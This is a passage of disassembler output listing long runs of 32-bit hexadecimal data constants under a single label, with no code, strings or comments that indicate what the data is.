		dd 21DE1F28h, 23E04256h, 42155036h, 88DE1085h, 0C121D42Eh
		dd 22E44439h, 4D083586h, 7E1A5033h, 841ABE89h, 0FF285091h
		dd 1A9650A1h, 59C8B58Ah, 430E0832h, 3869F13Bh, 434C5418h
		dd 0A949895Ch, 14B4096Ch, 414D4160h, 22832279h,	5E690660h
		dd 9061DD8Bh, 3F02F98Ch, 34017B25h, 0EF025DB1h,	3CB9091h
		dd 0EDF62C0Dh, 0A0929C49h, 74E920ECh, 31524735h, 0E3461408h
		dd 52C0C94Ch, 5BB1344h,	389808EAh, 0A4897A92h, 0C32481Ch
		dd 2DC0F86Ah, 40121211h, 0E8218F74h, 0DC233854h, 4960A843h
		dd 0B1B977A3h, 41274C37h, 758A4BB0h, 0B8F1079Dh, 426DF4C5h
		dd 4A608431h, 60173DFAh, 0E0204BE3h, 0F6CEA1h, 7624A64Eh
		dd 0E4E88701h, 8BDF330Ch, 7F5B69F5h, 96340032h,	29CBE34Eh
		dd 0B00E558Ch, 0C3BD40A4h, 802E7660h, 6F7F814Bh, 0B0065815h
		dd 2A0441EEh, 0E87B856Bh, 4B0F44C0h, 0E5833E2Dh, 64007A24h
		dd 72414160h, 4F8B3F2h,	56EB073Dh, 0A068B8E4h, 99F9BC60h
		dd 845D902h, 203FD269h,	0C112110Bh, 43DC3807h, 60C90F47h
		dd 121BDBFCh, 4041BF6Dh, 7D83BC38h, 510C971Eh, 813ABEF9h
		dd 0F4CEAB2h, 0E080DB53h, 0F9AA2B22h, 10E9DC91h, 74A54CB6h
		dd 7ABE172Dh, 0BF8400D2h, 6652834Ah, 0D60EB1EAh, 0A022D585h
		dd 0B569F536h, 0F8E563C7h, 3AB346B8h, 52C19805h, 0DC88D343h
		dd 6F61Ch, 0F8C2B2EBh, 87AFAA33h, 68070A5Fh, 0B3B03A4Bh
		dd 3A2B45C8h, 386E3EAEh, 73A0EBC1h, 7B6081F5h, 304DD15Ah
		dd 0E020F0h, 7D676C15h,	40E604D7h, 87E78300h, 0DB1C8439h
		dd 2EB21D27h, 2D7500D9h, 137880DAh, 0BEC4CC00h,	0A925C858h
		dd 37F84Bh, 3E872084h, 72DC049Ah, 0A0238603h, 0A335B23Dh
		dd 11286126h, 0F03ED62Dh, 232FCD09h, 0E4B2F070h, 72CB0320h
		dd 2B880C74h, 2ADB2EE0h, 1E39A93Fh, 9E008442h, 0A538753Ch
		dd 0B81368D2h, 9DCD704h, 0CC39E396h, 0A53AB400h, 37526A38h
		dd 569DC318h, 2D1000CBh, 0AC73DD47h, 230088C8h,	8BF695EDh
		dd 6049F866h, 23E187Eh,	897E7473h, 9D181BF8h, 19486897h
		dd 181F0F15h, 37E6D41h,	395FB7D5h, 0C88934B0h, 7D760207h
		dd 4743EF52h, 0D266F0EDh, 30C5B0DFh, 0CE58CD21h, 0B00BBEBh
		dd 8F5E4A08h, 2AC887h, 0D70B69Fh, 239D134h, 1818C160h
		dd 3EADB5EDh, 620A6D40h, 0E401D1Ah, 0E74C1224h,	0CC1DE1E9h
		dd 3A3C6B9Dh, 53F8639Bh, 3E1BA007h, 0D8028CADh,	8FC0BD23h
		dd 90073CF5h, 0D6CA14A8h, 105F0480h, 0C7FE309Fh, 622ACE68h
		dd 63E22840h, 0A548305Ah, 0BC0FF82Ah, 571B3E7Eh, 0E1407BF6h
		dd 0C001E37Fh, 26508CD4h, 552B783Ah, 48E9D465h,	0E9048C4Ah
		dd 7827E57Ch, 5680C05Ch, 127937CEh, 1F6C24h, 0AB979A40h
		dd 0BA430C85h, 219699Ch, 0BD1C0D01h, 4DC1D8A6h,	9C124695h
		dd 48981314h, 121C6624h, 2C2872D4h, 0FC796445h,	868E0983h
		dd 1BE010F4h, 4500FEC3h, 0D87FCB2Fh, 9A9E88h, 8272DA1Ch
		dd 8429D639h, 2CE5043Ch, 2CC57877h, 37D95080h, 0F854B070h
		dd 0B6571DB2h, 0D638009Dh, 846DA92Eh, 77BDDF14h, 8F09C044h
		dd 156E4F6Fh, 43A3DDDh,	2BBDA283h, 0C9A6DE2h, 0A05B0800h
		dd 6C449A2Dh, 2930A665h, 1F08AC50h, 0DFCE106Ah,	8ACDE70Fh
		dd 8974A048h, 0CC24ACE4h, 1048E91Ch, 6818A6DEh,	154C09D8h
		dd 70B33080h, 5254513Ah, 912A8810h, 46DA3CC6h, 417C0846h
		dd 0AC700177h, 6D9C02AEh, 0AC17F09Ch, 150C5E52h, 908C8741h
		dd 0AA500450h, 8883D6A1h, 0CC3132CBh, 0CE24CD09h, 0C891C748h
		dd 0CA44C922h, 12C489C3h, 48C624C5h, 22E091DFh,	0DBE244E1h
		dd 0DD12DC89h, 84C0DE27h, 5E4A2CFh, 0CA98BB4Eh,	6AF42357h
		dd 846BB829h, 42EC965h,	421276B1h, 0BC877408h, 0D2BEA073h
		dd 680F665Eh, 839712A2h, 0B065155Bh, 76BDB69h, 7670CB6Dh
		dd 646E41F0h, 0D196E1E8h, 663EF040h, 838640CFh,	0E9DB5768h
		dd 0F003B67h, 6B02BB69h, 3512CBE2h, 5F48535Eh, 0FD041FFAh
		dd 0CC6B4A56h, 0B7023488h, 0BE07E39Ch, 938E2F9Ah, 2AB3894h
		dd 0E23CCCE6h, 0DD75205Bh, 7964E43Dh, 38517A09h, 0ABFE0442h
		dd 1F00EBACh, 0C09394D5h, 1B5EBB3Dh, 2112478Bh,	3895ABFAh
		dd 56129AC0h, 0D27077Ch, 0C383DD96h, 18009786h,	50EA731Eh
		dd 14DC64BEh, 1C823EDEh, 0A1F023Eh, 7B0982FDh, 28916B4Bh
		dd 0E49C7A99h, 0D68E18C6h, 0E09D4129h, 0A830E267h, 0B724D8C0h
		dd 79C71E83h, 4F7E00A5h, 2082A167h, 0D79DE500h,	7540C858h
		dd 3CCC0736h, 40AA6BD5h, 27DC04A9h, 0D920E700h,	0CD0A9D38h
		dd 5B12078Bh, 0D3842BDBh
dword_4FE844	dd 0E5A027BAh, 0A90E2DA0h, 9F896724h, 862BC501h, 4087DD1Ch
		dd 0C73EDB0Ch, 0A83F0138h, 0F040492Eh, 233CDD39h, 0D23E7E77h
		dd 27E30FD7h, 0D8301486h, 29832698h, 821CCC3Ah,	37702EFFh
		dd 0D62B1200h, 39863A40h, 0A1602629h, 705F56ECh, 9A0EA4A2h
		dd 0F082B07Ch, 18B1123Dh, 0A4887F2Fh, 1DB8763Ah, 0AB6D3DA5h
		dd 8441852Ch, 87C40320h, 0CFE0997Ah, 9629A5FFh,	129C3883h
		dd 0CE80D400h, 1441E356h, 14E40474h, 674070A4h,	6D01CE96h
		dd 2E9E89D3h, 0FFD02BC9h, 0E6F8A8D6h, 256A133Dh, 0EB9C2A9Bh
		dd 0BA2CE400h, 0B958899Eh, 7E3A10Fh, 0FF87A168h, 0E7D033DAh
		dd 343F4CCCh, 842ED309h, 3A8F00AEh, 8C6B2818h, 98CE3D24h
		dd 0EE2E80BBh, 0CBFFC678h, 0E59D263Ch, 28503640h, 0DA61120Fh
		dd 20351396h, 37CE6C00h, 907823D9h, 0FC50D7ECh,	0C47DC358h
		dd 0A2914F6Dh, 9AA1EB04h, 0E530208Dh, 4B864102h, 0C27642BCh
		dd 98455590h, 7205582Ah, 38A03976h, 0C1A55483h,	0D0302FE2h
		dd 0A3203C87h, 0E304710Ch, 0DC4C3A40h, 0DB4B00C0h, 87E7752Ah
		dd 10831A33h, 8C811088h, 2004BEC4h, 2D169DB0h, 70043DA0h
		dd 0FCC33EC8h, 3BB2C15Eh, 3171A020h, 0E710DB1Ch, 3560899Fh
		dd 58AC0CA0h, 389D123Eh, 0D818ABCCh, 3A0CB240h,	41837D7h
		dd 0D63630DAh, 2E970FCh, 9413FF83h, 3A9DA012h, 0FFD03EABh
		dd 0D683F852h, 87C2A942h, 6D05D4ECh, 4B763ADDh,	0F0B06098h
		dd 9F2B01C4h, 793D8720h, 4AB82739h, 0FFF5B0B8h,	2E705C04h
		dd 408320C2h, 3EB240E8h, 3061F109h, 619A3ED6h, 70DC7F7Ch
		dd 6B124F80h, 9A02FA0Ch, 0DD0AA99Dh, 0E540C4C0h, 2CB42958h
		dd 87E7E4CCh, 0C90CB1A9h, 2C109860h, 1DDC2ED8h,	1BD824CCh
		dd 0DBE128CDh, 48C46227h, 2B87181Ch, 0B0833D09h, 3EE4A5C4h
		dd 90DB5065h, 9ADF81C0h, 0E20E75Ch, 9FDC2ECDh, 0E369201Bh
		dd 2F77E1D6h, 20723DD1h, 2C3A8314h, 0CC3C87B4h,	3E13DA80h
		dd 340C3975h, 33C586Dh,	3FD70AB2h, 0B0C61082h, 0E58094FBh
		dd 5002D218h, 0FB1291EEh, 5747D0Ch, 0FFB096D3h,	7884B2B6h
		dd 2EEFE508h, 87CA7312h, 9A16189Dh, 893EC840h, 5A40CCE5h
		dd 80503E86h, 23E727BAh, 763E2CDCh, 0E2400BD8h,	2F9D64A0h
		dd 0A95529CCh, 0D1F86C40h, 0A84B0750h, 0AC417DA2h, 2074843Ch
		dd 0AD234B6Bh, 3ACC13F0h, 0A02D44C3h, 9E40D61Ch, 0D4E6493Ch
		dd 88D23Ah, 0E57087DBh,	1E833CA0h, 0B27E42Dh, 8C80BDE7h
		dd 9E2CC81Ch, 8B1D90B8h, 0FC3A3CE2h, 0E650C082h, 2123609Fh
		dd 0D9E76A27h, 772B3Ah,	3BD0C6A0h, 0E8E9DFD2h, 0E5CD0E22h
		dd 7E8021DDh, 0D0E0D626h, 68032A1Eh, 0DE2505C0h, 1D6609E9h
		dd 0F34AE7Ch, 0D703CC80h, 1EF09ECDh, 107CE2E4h,	0DFD6E003h
		dd 0A2DBDCD4h, 1D34B41Dh, 0FFE0D41Ah, 606A6078h, 10DBE4D0h
		dd 0DAF034A5h, 10CB07C6h, 0C7CCE033h, 73E9971Dh, 7F0C925h
		dd 0AAA09721h, 9F296FDh, 0CCC6D405h, 0E8C6CF3Bh, 0E3E90321h
		dd 0FADDCDD2h, 5F0E4A3h, 0E660CB66h, 14CCDB90h,	5B60C0D0h
		dd 5E9C737h, 3B7938A6h,	1FC5673Ah, 600CD01h, 13D797D4h
		dd 20E3601Dh, 9CACF21h,	3FDA253Ah, 9EC90314h, 0A0E01EDFh
		dd 3AE4D40Fh, 371F10D8h, 0CD2503ACh, 0E87C2ACAh, 28231430h
		dd 0E884361Ch, 50D47C30h, 19CEDCCFh, 20DA14E6h,	0CCCBDC10h
		dd 123FC3Ah, 97D806E5h,	0E88213CAh, 0D11D09DAh,	4A46C885h
		dd 218003C4h, 6621048Ch, 0D80C837Ah, 203BCAC0h,	0FD0E41Fh
		dd 14D8671Bh, 0DC0ACB88h, 33B2874h, 0A3D883D0h,	0E304C0E2h
		dd 0DBFA0FCFh, 360A90CAh, 0D3FC0080h, 7971A2E0h, 0D2B0DA50h
		dd 8666F0A9h, 77D70D60h, 0F0217CD0h, 2818610Ah,	90E16608h
		dd 0D329CBE9h, 465B0358h, 42A17F37h, 13088C3Ch,	0E2D4306Ah
		dd 11C92A2h, 0DC660AE5h, 20DA0BCEh, 0F4A6FC44h,	0D47848F3h
		dd 0D1E8D071h, 0C8802090h, 30F8DD97h, 0DFCCE41Fh, 39E8DC19h
		dd 2AF0C0A0h, 8544E9C9h, 0C278FD04h, 0BD67143Ah, 0F9000841h
		dd 88807B3Ch, 0D007C1F4h, 64403089h, 78D3394Ch,	88BD0861h
		dd 0C441FB66h, 0E6B8F1h, 0FDE186F2h, 0F5E7A600h, 87E598FAh
		dd 466D00C9h, 89DA85D0h, 58C079F8h, 3644CB37h, 9C03066Ah
		dd 517A788Eh, 74590910h, 0EEE82Ch, 36402F19h, 2E06032Bh
		dd 429941BAh, 0D25B3C20h, 202AAF94h, 180C72F1h,	0D180F964h
		dd 0F6D29632h, 777472D1h, 0C1754306h, 0AA08CC0h, 0BE673EC2h
		dd 89A56E90h, 3C740E65h, 101A7866h, 8E1CD8C4h, 0C374CA41h
		dd 170D8F8h, 73DF40C1h,	388CAB67h, 2817E0Fh, 0B78B900h
		dd 0EB476DC7h, 1C0356B2h, 0A3527520h, 18F900DCh, 40FFCA3Fh
		dd 712BF280h, 43F4306Fh, 9160C621h, 48F6614h, 18150FACh
		dd 0CF50FBF9h, 0AA37DC80h, 6618A093h, 0F93B00D8h, 6F9AE3BDh
		dd 8CC7BC5h, 18012172h,	988B3B70h, 0E0884C1Ch, 10C4A53Dh
		dd 0F7FB062Ah, 80B15C15h, 0AF0B77C0h, 602C11E0h, 21A84671h
		dd 7E9400E9h, 72B35688h, 67F811B6h, 80606648h, 0B5FA2E3Bh
		dd 9B020CF4h, 4009DC7Ah, 361B21C0h, 188003FAh, 3986A677h
		dd 4461F370h, 0E4DC2669h, 605F36F0h, 39F217Bh, 5036F83h
		dd 0FE3B6230h, 6A08302Fh, 832BBF21h, 0F21E5D09h, 0F31000B7h
		dd 91852489h, 4AFC0218h, 84FDD55h, 0D40AA86Fh, 3012847h
		dd 0CD10BD64h, 20FC483Eh, 0AE30BC7Bh, 4612A832h, 4A8AC6Ch
		dd 0F4B4FA2Dh, 2042623Ah, 79FA351Ch, 3BF73Ah, 0A5682EBh
		dd 409E63DEh, 0E13B462Bh, 3E0079BEh, 0B6A704E2h, 4295836h
		dd 47E92D85h, 381FC0CFh, 0FC49DF53h, 8EF4EC28h,	9539C50Ah
		dd 0B1818873h, 0A85DD1ADh, 0C383F0h, 51BAA166h,	0F87D88B8h
		dd 5E08C90Fh, 81FAE0FCh, 182AB1A2h, 4140E570h, 7932C03Dh
		dd 80DE9846h, 0ACEAF6D0h, 0A8884854h, 1415203Ch, 34F26071h
		dd 823FAC18h, 6C38AC40h, 8748282h, 90453291h, 16293E10h
		dd 9403C220h, 99C46630h, 0B11984CCh, 9154017Ch,	542271E8h
		dd 8F17509h, 3265C21h, 0F2B0506Eh, 61C364F9h, 0EE550901h
		dd 0BD2A0640h, 0F03B6DC0h, 27EBE700h, 0C5FBF594h, 0D6D41CFEh
		dd 56DDC396h, 5948C091h, 331DC0B4h, 662982Dh, 53C0F9A2h
		dd 70004825h, 2E374E96h, 6928F1F3h, 0E002386Ah,	93021C6Dh
		dd 16CCA03Eh, 1FDF4B7Ch, 83BD15D5h, 6A35A8FBh, 0ADB54803h
		dd 76A4C1h, 9E6F6E40h, 2988DFB8h, 0B7A7420Fh, 0C981BCF6h
		dd 0B62C3BC3h, 71905449h, 28A00F64h, 0D6305A8h,	40208488h
		dd 2E3C36A3h, 0A2A81455h, 1A95101Ch, 5EA81124h,	0F218FDh
		dd 9E1D6279h, 0B2D3245Bh, 6B8C0D0Ah, 7A4468EEh,	83914483h
		dd 0B0104C9Fh, 1416AC07h, 68F1C2DDh, 0A6DFECA0h, 1309F60Bh
		dd 8991B88Dh, 112401B5h, 94407509h, 84DCACh, 66FCF2C0h
		dd 4BF0F174h, 40D09558h, 3A4065A8h, 9DAC2480h, 0B3CF4324h
		dd 0E6EAFAC0h, 6DD488A0h, 9991080h, 6E1889F2h, 27181814h
		dd 841299Dh, 62E8008Ah,	6CB7017Eh, 32001F48h, 13BB97EBh
		dd 0E35339Dh, 7F05FB85h, 0B844C1E6h, 0AC465498h, 33B7202h
		dd 6B3173BDh, 3B6AD017h, 550128F0h, 50158C0Eh, 20229567h
		dd 0DF034D00h, 2D5FC23Ah, 8244DB49h, 0CC2F5BE5h, 83F60404h
		dd 62D805D6h, 90C8276Bh, 0C0A2E683h, 0A0A09971h, 0E358EC47h
		dd 8C76BC28h, 0D00F470h, 6735D466h, 3805548Fh, 84D041F1h
		dd 0F4F8191Bh, 0F049A86Ch, 18DC2F5Dh, 0B43A1500h, 9E7296Bh
		dd 1459403Fh, 3E11EC9Dh
		dd 36937E81h, 0BC9C2017h, 0F12419EAh, 0DC42803Dh, 0C28C0A85h
		dd 0ACA07594h, 2C9159A3h, 0EF88A00h, 182D82F0h,	1AC10556h
		dd 0C1E67D76h, 761299Ch, 144FB6C3h, 0F42EF5E0h,	0D9C0B988h
		dd 46BDF63Bh, 0E06D22CBh, 953B0171h, 0BC9F44A1h, 0B974302Eh
		dd 9C584541h, 0F4DE047Eh, 59E68E9h, 8C406E64h, 849B06CDh
		dd 35D200F7h, 17491A0Dh, 140067BEh, 13DDAEFBh, 496F10A4h
		dd 0FF80A0F1h, 43C29180h, 52C1E90Ch, 9E55895h, 3A9E2B7Eh
		dd 0B6977821h, 0BA98839Ah, 30BC424Fh, 77213509h, 4A019AAEh
		dd 1B54FB17h, 0B44199C8h, 3432A528h, 0F17C951Bh, 46D52C0h
		dd 0C83A9B3Bh, 0A08F284Dh, 0A3F1520h, 0AE2EC220h, 30B7457Ch
		dd 0D6E7BBD0h, 2B912F00h, 0D733DE29h, 0FEB9000Ch, 128837CFh
		dd 8A09E674h, 84FAE791h, 2B636A64h, 2AF4B2D8h, 1A41448Ch
		dd 1303348h, 0F0870C17h, 20266D5Ah, 20C56613h, 0A757BC24h
		dd 0E839B31Ch, 0FE91A06Bh, 279ADF80h, 3087D2C4h, 0C7EB9AE0h
		dd 1D283E04h, 9C8064E1h, 24987D05h, 41C8A20Dh, 2531F104h
		dd 2D603034h, 91E54C40h, 187579D4h, 0E6AA016Ah,	942EF1A5h
		dd 2347D9FBh, 64CF0CC8h, 0F33187h, 0E699AB0Bh, 1BDFDB53h
		dd 4AEFD402h, 90315BE4h, 1183F83Ch, 880805D8h, 7BA9C74h
		dd 1013CE83h, 310519DAh, 0FA2C27FAh, 0F141D86Dh, 5F028664h
		dd 1C24080h, 8B17C6FCh,	0B813D635h, 0A3607804h,	42854142h
		dd 2951C408h, 9A08B418h, 0C4AAC42Ch, 0AC7D4031h, 0E649289Ah
		dd 389193h, 6A94CD4Fh, 0E070D477h, 8E61B500h, 8CD18FC1h
		dd 0C2D20A40h, 2D00544h, 37399902h, 804BB910h, 4D33E886h
		dd 0E1801845h, 0C80043A5h, 51381E57h, 0B0BFB754h, 9AE1C008h
		dd 0E246C429h, 80003422h, 9BA09AB9h, 29386BA8h,	0A4667Bh
		dd 0F09B6C7h, 0D6005D47h, 3A12E30Dh, 768EC0h, 209A1A74h
		dd 2C93B114h, 98287093h, 29027046h, 0DAF4E0FAh,	30604C59h
		dd 64FFA31h, 21103D41h,	22CD853h, 79C2C4F1h, 0B0BD1047h
		dd 2474B55Dh, 9C243806h, 7560AD64h, 0BD23023Bh,	2E6E116Bh
		dd 7D01DF04h, 0AF2C81D1h, 0B0BCAC58h, 802078E4h, 60A52DFh
		dd 906513F8h, 5A2CB740h, 3EF0FA32h, 70001135h, 67C47CBCh
		dd 5D045544h, 3F2AF620h, 317098D8h, 9E8161EEh, 0C6C45043h
		dd 0AB016B08h, 0D8AC62AAh, 0A9FF4927h, 0A4507064h, 0F0F4BD6h
		dd 87168376h, 0A71507A0h, 452EB2E6h, 89E1D027h,	0F5089D3Ch
		dd 8638F910h, 55D1584h,	50D8B6F2h, 318C0030h, 0DF1EF36Fh
		dd 0D40214E5h, 0BDA8FEA9h, 0F4C464h, 0AB90A45Ah, 694EFC93h
		dd 0C3990600h, 0CA9F823Eh, 231B1209h, 5086540h,	8A848CC8h
		dd 0BC617C98h, 7D98C1A1h, 80716401h, 67FFDC69h,	0FA5CFA75h
		dd 4E200FEFh, 607634C7h, 0E87D7B68h, 296D24h, 62DB1E01h
		dd 40488E8Ah, 0F6CBB64h, 4313E884h, 5B0FB50h, 422C89D4h
		dd 2C46E534h, 112D7121h, 3B7480AEh, 8783BD05h, 3B6C803Eh
		dd 0B574871Fh, 9790137Ah, 38C3048h, 0A14F21C4h,	0DF13C800h
		dd 0A59BD885h, 6370C434h, 537AAA93h, 80B89114h,	0BDF73BD6h
		dd 6A448CD3h, 0EC8490FFh, 0DC5601E0h, 85AC1D8Ch, 0AD88413Fh
		dd 80C82268h, 672E374Dh, 246091C6h, 8DB762F4h, 4F38CEC0h
		dd 1038CB48h, 0F4053F21h, 7E9C91h, 0AD41B7DCh, 5BF87F44h
		dd 0B4BB7718h, 0F0A1E941h, 0F0F1046Ah, 0D1C73D93h, 3AB500h
		dd 2EEA4AFh, 0DC1BD920h, 0F0E0573Ch, 0AD6A03E1h, 810948F8h
		dd 0B1F44042h, 0E86C52D5h, 233C3D13h, 0FC89ACh,	0AF9FDCE9h
		dd 1F1179D9h, 7BB22CBCh, 71041050h, 0C99C31E9h,	41486551h
		dd 9DC50Ch, 2CE3F7FBh, 0C064355Bh, 5748304h, 982C284Ah
		dd 832C0BBEh, 9C8A0523h, 0A09FA534h, 0ADFCAD11h, 30F7EE85h
		dd 5ADF62BCh, 0D50B8E00h, 0A62A39B0h, 84A554B8h, 48F8163Dh
		dd 5AAC8D5Dh, 6BA0C09Ch, 0D028C0Bh, 3991B063h, 0A58C3051h
		dd 0A480C958h, 326E38C2h, 0F4DE07C0h, 342CCA4Eh, 0FA2F002Eh
		dd 9D89FCE7h, 0C022B4Eh, 0F9F2B4A8h, 0A02870E0h, 5021E9D2h
		dd 52CCC3Eh, 7E5F3DDFh,	0F290A2AAh, 88603079h, 0A9772213h
		dd 0F2DF7020h, 8DA030E9h, 98EF970h, 0DE3F5413h,	3126C48Ch
		dd 66B94304h, 0B84AEAF8h, 0A0EDCE4h, 0A05D722Dh, 0DF6665DBh
		dd 1C2F7CEEh, 511048Ch,	0D455F0A5h, 4184991Ch, 4276194h
		dd 4869A8C1h, 2004B062h, 0C22C2DC2h, 668190h, 0C83E5224h
		dd 8845D828h, 0A30D8441h, 0ECB7C707h, 6A606619h, 2CE28DB9h
		dd 0E8A23D43h, 8BD24C80h, 55962E73h, 92BA4901h,	0BF7DFE91h
		dd 915E7447h, 67656F0Ch, 3AB8CD19h, 0DA0BB00h, 3F63C37Ah
		dd 52D4075Fh, 0CAF10822h, 20F02850h, 0B90651D5h, 7FA285DBh
		dd 0B85348D9h, 33884B0Bh, 6245FCA2h, 3BCEDA00h,	0C1661689h
		dd 0DB40C585h, 71968000h, 88729555h, 0C3008A7Ch, 0BFD8CBF3h
		dd 193DEACh, 332C2F53h,	0D4E8EF96h, 0A0C0A2A9h,	0BFC1B380h
		dd 873C8187h, 84EA4259h, 4889A94Ch, 7083E8E4h, 6962D7F0h
		dd 1383DF8h, 50BE98FCh,	0FA264688h, 96A4F754h, 0B96A9F09h
		dd 8438820Ch, 0C2662274h, 6267C82h, 724880D2h, 0FE807D8Ch
		dd 137D4808h, 7F250052h, 44919097h, 1CE35E80h, 0AF28A5F2h
		dd 640EE78Dh, 79092674h, 1C4FB29h, 59A400E8h, 0FA0DDDA8h
		dd 0CC9002F2h, 17BC974Dh, 480CCF8h, 7A429B59h, 82407126h
		dd 0B01070C3h, 0F6A44651h, 0BB0FA44Ch, 822CA030h, 2AE23B1Eh
		dd 5BC4194h, 1BDF2D56h,	766C82FCh, 8886C018h, 36029A19h
		dd 0FD473FE1h, 8ECD5h, 13B46CFFh, 7B5A72C0h, 0FC269D2Ah
		dd 8F09D500h, 0EA120C50h, 4747198h, 8B94018Eh, 502CA33Bh
		dd 374805C4h, 9E70A0F4h, 4DC20E4Bh, 0F184B657h,	0F20CF060h
		dd 7AE44809h, 5E4105Ch,	1841C23Fh, 67044131h, 27C088h
		dd 0B6DC3CCBh, 71E324E6h, 7B909F02h, 61D2E865h,	41891198h
		dd 0EC656A2Dh, 2E606AE4h, 89123AF9h, 60909CC0h,	4FECF1F3h
		dd 17B8526Bh, 10745CA2h, 70673284h, 83023033h, 0F8057211h
		dd 0BC807788h, 49FC832Ah, 9F3E02B3h, 442DA105h,	2F4C207Ah
		dd 7CA71014h, 88384C78h, 84C522Eh, 39805423h, 0B7369D18h
		dd 102D5C65h, 8E4BB916h, 0C175C8A0h, 0CCE0647Bh, 0C5F6A26Dh
		dd 3513F400h, 0AFFB9AA3h, 0FDE1287Ah, 0F0C7618Dh, 7EB71Eh
		dd 9A117BE5h, 0D8135558h, 73E83Ch, 0AF40FF64h, 0A5E4F156h
		dd 0B920496h, 10DC5413h, 28EE05E6h, 8457470Ch, 8674F244h
		dd 9868B656h, 90CA5554h, 0A0E6D405h, 505687E0h,	688D1401h
		dd 0F4703D98h, 0FB48402Ah, 4E9E6EF1h, 1F2E7910h, 0DEDA700Dh
		dd 0BCDC7C21h, 31008C6Ah, 0AB3ACAD8h, 48FC9227h, 0CB00A494h
		dd 7040FE59h, 31CE45DBh, 20F98451h, 208960A4h, 26199050h
		dd 93C94DFDh, 0B907F432h, 2014B711h, 0AC48ED80h, 6E47B402h
		dd 0C6C22E51h, 3E9D2484h, 1FCACF0h, 0F64D01CDh,	0DF64FCFCh
		dd 20A1C892h, 9F51830h,	0E005D983h, 0C9808CE5h,	7CB083FDh
		dd 0D7F20190h, 64309951h, 9121806Fh, 431BB659h,	1E7D1E04h
		dd 0BEE18029h, 0B70D6441h, 8459692Bh, 0E175670Ch, 0D9480016h
		dd 0CCF902BAh, 0BD09992Eh, 4544CF8h, 2C81B674h,	45088790h
		dd 442164Fh, 0F9C919A4h, 49B70508h, 4DC16D9h, 0B42F09E8h
		dd 0A094E558h, 1C75465Ch, 0A4C28993h, 0F1AD76CAh, 0F21900B0h
		dd 43DC1AE7h, 75DA8F00h, 31452FABh, 9412494Eh, 0C0EC2A2Ch
		dd 0C42B9AB3h, 0B02CB25Ah
		dd 9AAB007Ah, 0ADBFB367h, 9C4A0B7Bh, 84338C20h,	95E700EFh
		dd 2EE2DA45h, 9430B6F4h, 0A6AE2179h, 6C1F0329h,	0B8E261B0h
		dd 20847E88h, 1E47548h,	0E89005C6h, 0A820CEC1h,	0A2480087h
		dd 0F5CDD588h, 0BBE87407h, 187DB401h, 6DE57371h, 78DA2D0h
		dd 74E1A7CAh, 8996F0F7h, 8CCACEFh, 0AF215Eh, 0F7EBE19Fh
		dd 0B3BDD40Bh, 389D7A01h, 87779818h, 60E833F0h,	95211886h
		dd 3718616Ah, 23406F88h, 0DA9C1F6Bh, 0AD10308Ah, 40002E0Bh
		dd 0B68D1704h, 0E88CAF0Ch, 4821C0B8h, 1BBB2DA3h, 0A1FBDC00h
		dd 0AD7AB1CFh, 91676006h, 0E4D3F60Ah, 94115D60h, 2B9629h
		dd 0B580EB20h, 623365E9h, 0DAE78300h, 0B35816E1h, 2069036Ch
		dd 8DF7D0A4h, 0AD84B840h, 744322h, 22D3F014h, 8EDD6152h
		dd 0D6201563h, 0CA2901Dh, 1B9D0F21h, 0D9599B12h, 1EA8189Fh
		dd 0D004492Dh, 80B7C88Ch, 292DA04Bh, 0F6305C0Eh, 2F7E40C5h
		dd 0CCCC51B0h, 39DB1086h, 2500F893h, 227AB28Bh,	0A103FCh
		dd 0E7320C54h, 0D7E48EAAh, 74489B03h, 8DB058h, 7A50460h
		dd 0A8D52BE0h, 7320E93Bh, 0A01FA00h, 8B27183h, 0E87068C7h
		dd 0AFE408E4h, 0E9D82F01h, 0FB007644h, 19C2A94Bh, 718B608h
		dd 74F56214h, 0CAEA081h, 86985270h, 0A929484h, 6410AC39h
		dd 7FEB6906h, 930F488Ch, 998FD7D8h, 0D98A5161h,	8E8CC3DBh
		dd 11A0AE1Fh, 0F2B7B868h, 0D708E81Fh, 695CE40Ch, 0D83B0FCFh
		dd 34A16AB0h, 302B5154h, 1F3DBB4Ah, 2A163B30h, 4749E87Ah
		dd 0E1D3806Ch, 8CD4F770h, 0FB36444h, 0A520E1ABh, 0E38C4220h
		dd 0ACA0862Fh, 0A2883662h, 0EBF7186Ch, 727A304Fh, 0E34BA40Ch
		dd 50D72897h, 939EDCB6h, 2DA50104h, 18A7044Ah, 9DE88BB9h
		dd 0E550892Dh, 35006270h, 0D9F84B52h, 0EC94D136h, 78D701A5h
		dd 1C4039ADh, 9A0405Dh,	0E82C37E4h, 4030A60h, 0C82B7F4h
		dd 8D58A188h, 0B9DFA206h, 0D12D6E00h, 0ECF113Bh, 0CE49236Ch
		dd 75218B8Ch, 0D92D7600h, 0FE3050F9h, 2C420C65h, 0F650BC3Bh
		dd 0D2702F12h, 200C4C00h, 0A8599CBAh, 77F567CCh, 9D70CE22h
		dd 0D21397A0h, 0EF026D48h, 935C294Dh, 3958409Eh, 6CCB0017h
		dd 0D89D7018h, 0D4A46EFDh, 8A518E3h, 0A4F772E1h, 0E5266C4h
		dd 92E0E1CAh, 68498526h, 4C4F4D06h, 7F17797h, 0B9954EB4h
		dd 0B5155060h, 8654DB31h, 96008BB8h, 726ED8FFh,	0C0C1DAF5h
		dd 0D22A7B19h, 0E90002FCh, 773EFBC0h, 1442C65Ah, 849AD7DCh
		dd 43DD212h, 1B06BB8h, 5ACC37F8h, 3FB3C047h, 59800066h
		dd 2B42C532h, 0DC00D5EFh, 0A74F081h, 0C0930F2Ch, 84277138h
		dd 0E02433EDh, 0A2032489h, 0EEA16819h, 0F1083338h, 6CB13BB1h
		dd 0DBF8405Eh, 0D84C4F13h, 0FA9D0080h, 0D021A8A5h, 206C602Bh
		dd 7D85BD6Ah, 39204FFDh, 1451C64Ah, 2D7230DAh, 0CEEC3BFAh
		dd 7A618085h, 0BE85592Dh, 9D30101Dh, 4168F10Ch,	29B26058h
		dd 0A77B25D7h, 837CF607h, 0A4507D79h, 61F41E5Ah, 30AD9E35h
		dd 3100CF57h, 74DC4A94h, 1F2DC6h, 0EC35BC9Ch, 0B254046h
		dd 8744C090h, 0F74B12AAh, 0FF4C42BBh, 6C00CF58h, 42430F5h
		dd 52E1B39Ch, 10E0C751h, 3839A7B6h, 0D46AA828h,	44B18C74h
		dd 0EB18B3F1h, 959EBE1Fh, 0D89AFDC0h, 7A8EE6EAh, 548FEC22h
		dd 10FBB493h, 26B354A9h, 0B13E74FDh, 0F95A105Dh, 8EE28D40h
		dd 804F3044h, 9237F4C8h, 1FF0C841h, 0B2B8F0F7h,	12407F04h
